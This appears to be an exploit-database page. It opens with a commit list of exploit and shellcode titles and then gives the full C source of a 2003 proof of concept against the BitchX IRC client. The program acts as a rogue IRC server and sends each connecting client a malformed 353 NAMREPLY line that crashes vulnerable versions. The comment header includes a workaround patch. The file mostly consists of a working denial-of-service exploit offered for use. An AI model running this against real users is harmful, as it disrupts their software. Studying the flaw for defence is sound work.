880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
108 lines
No EOL
2.7 KiB
C
108 lines
No EOL
2.7 KiB
C
// source: https://www.securityfocus.com/bid/6880/info
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It has been reported that BitchX does not properly handle some types of replies contained in the RPL_NAMREPLY numeric. When a malformed reply is received by the client, the client crashes, resulting in a denial of service.
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/*
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* bitchx-353.c
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* --argv
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* Jan/30/03
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*
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* Vulnerable:
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* BitchX-75p3
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* BitchX-1.0c16
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* BitchX-1.0c19
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* BitchX-1.0c20cvs
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*
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* Not Vulnerable:
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* BitchX-1.0c18 (So far..)
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*
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*
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* Workaround:
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* in function funny_namreply()
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* after the PasteArgs(Args, 2);
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* add in
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* -- snip --
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* if (Args[1] == NULL || Args[2] == NULL)
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* return;
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* -- unsnip --
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*
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* ---- the vuln code of bx -----
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* PasteArgs(Args, 2);
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* type = Args[0];
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* channel = Args[1];
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* line = Args[2];
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*
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* ptr = line;
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* while (*ptr)
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* {
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* while (*ptr && (*ptr != ' '))
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* ptr++;
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* user_count++;
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* while (*ptr && (*ptr == ' '))
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* ptr++;
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* }
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* ------------------------------
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*
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* [panasync(panasync@colossus.melnibone.org)] you would hope the irc server would be a trusted source.
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* [hellman(hellman@ipv6.gi-1.au.reroute.se)] 'Free porn at /server irc.owned.com'
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <arpa/inet.h>
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#include <netdb.h>
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static char shellcode[] = ":* 353 * = :\n"; // <-- this could be something worse.
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int acceptConnection(int fd)
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{
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char *ip_addr;
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int descriptor, sal;
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struct sockaddr_in sa;
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sal = sizeof(sa);
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descriptor = accept(fd, (struct sockaddr *) &sa, &sal);
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if (descriptor >= 0) {
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ip_addr = inet_ntoa(sa.sin_addr);
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printf("Connection from %s:%d\n", ip_addr, ntohs(sa.sin_port));
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}
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return descriptor;
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}
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int main(int argc, char **argv)
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{
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int sock, serv, port;
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struct sockaddr_in server;
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port = 6667;
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if (argc > 1)
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port = atoi(argv[1]);
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memset(&server, 0, sizeof(server));
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server.sin_port = htons(port);
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server.sin_family = AF_INET;
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server.sin_addr.s_addr = INADDR_ANY;
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sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
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setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &serv, sizeof(int));
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if (bind(sock, (struct sockaddr *) &server, sizeof(struct sockaddr_in))
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== -1) {
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return 0;
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}
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listen(sock, 1);
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while (1) {
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serv = acceptConnection(sock);
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write(serv, shellcode, strlen(shellcode));
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close(serv);
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}
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return 0;
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} |